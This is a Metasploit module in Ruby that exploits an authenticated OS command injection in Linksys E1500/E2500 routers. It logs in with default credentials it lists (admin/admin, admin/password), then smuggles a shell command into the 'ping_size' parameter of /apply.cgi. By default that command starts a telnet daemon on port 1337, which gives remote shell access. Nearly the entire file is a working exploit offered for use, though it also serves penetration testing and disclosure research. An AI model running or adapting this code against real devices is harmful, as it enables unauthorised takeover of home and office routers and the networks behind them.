Linksys E1500/E2500 Remote Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Linksys E1500/E2500 Remote Command Execution',        'Description' => %q{          Some Linksys Routers are vulnerable to an authenticated OS command injection.          Default credentials for the web interface are admin/admin or admin/password. Since          it is a blind os command injection vulnerability, there is no output for the          executed command. A ping command against a controlled system for can be used for          testing purposes.        },        'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],        'License' => MSF_LICENSE,        'References' => [          [ 'OSVDB', '89912' ],          [ 'BID', '57760' ],          [ 'EDB', '24475' ],          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]        ],        'DisclosureDate' => '2013-02-05'      )    )    register_options(      [        OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),        OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),        OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])      ]    )  end  def run    uri = '/apply.cgi'    user = datastore['HttpUsername']    pass = datastore['HttpPassword']    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")    begin      res = send_request_cgi({        'uri' => uri,        'method' => 'GET',        'authorization' => basic_auth(user, pass)      })      return if res.nil?      return if (res.code == 404)      if [200, 301, 302].include?(res.code)        print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")      else        print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")        return      end    rescue ::Rex::ConnectionError      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")      return    end    print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])    cmd = datastore['CMD']    # original post request:    # data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&    # action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="    vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")    begin      res = send_request_cgi({        'uri' => uri,        'method' => 'POST',        'authorization' => basic_auth(user, pass),        'vars_post' => {          'submit_button' => 'Diagnostics',          'change_action' => 'gozila_cgi',          'submit_type' => 'start_ping',          'action' => '',          'commit' => '0',          'ping_ip' => '1.1.1.1',          'ping_size' => "&#{cmd}&",          'ping_times' => '5',          'traceroute_ip' => ''        }      })    rescue ::Rex::ConnectionError      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")      return    end    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")    print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")  endend